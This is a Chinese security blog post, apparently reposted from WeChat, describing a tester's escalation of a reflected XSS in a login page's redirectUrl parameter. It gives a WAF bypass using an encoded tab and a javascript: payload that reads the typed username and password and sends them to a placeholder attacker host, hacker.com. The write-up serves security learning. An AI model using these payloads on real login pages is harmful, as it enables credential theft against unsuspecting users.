一则不能弹出cookie的XSS漏洞的危害升级

admin 2024年2月2日19:33:13评论17 views字数 1085阅读3分37秒阅读模式

假定测试目标:example.com

打开被测系统,是一个登录页面:https://passport.example.com/login/index.html?redirectUrl=https://www.example.com/#/

发现redirectUrl参数值可控,参数值会写入到登录表单form的action参数中,可能存在XSS漏洞和url跳转漏洞。让我们试一试。构造payload如下:

https://passport.example.com/login/index.html?redirectUrl=javascript:alert(/xss/)

但是被阻断了,后端有WAF之类的。

经多次尝试,是可以绕过的,payload为:

javascript:al%09ert(/xss/)

被害用户点击攻击者构造的url,登录后触发xss弹窗。

进一步试试能否弹出cookie

javascript:al%09ert(document.cookie)

弹窗了,但是返回为空。可能是cookie中设置了某些安全属性,那么这种漏洞的危害非常有限了。

正在准备放弃时,突然想到如果无法获取被害用户的cookie,那么能否获取他的密码呢?如果可以的话,跟发送cookie的性质就类似,甚至危害还更大。 

尝试做了些这方面的尝试,最终证明是可以的,构造payload如下:

https://passport.example.com/login/index.html?redirectUrl=javascript:window.op%09en(%22https://hacker.com/%22+document.getElementsByClassName("input-default")[0].value+"/"+document.getElementsByClassName("input-default")[1].value)

getElementsByClassName("input-default")[0].value 获取到用户名的值,getElementsByClassName("input-default")[1].value 获取到密码的值

完整的url发送给被害用户,用户登录时,js部分会获取用户输入的用户名和密码,并使用window.open函数跳转到攻击者的网站。

最终攻击者的服务器就会收到这样一条日志:

https://hacker.com/(username)/(password)

原文始发于微信公众号(薯条机器猫):一则不能弹出cookie的XSS漏洞的危害升级

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月2日19:33:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一则不能弹出cookie的XSS漏洞的危害升级http://cn-sec.com/archives/2461541.html

发表评论

匿名网友 填写信息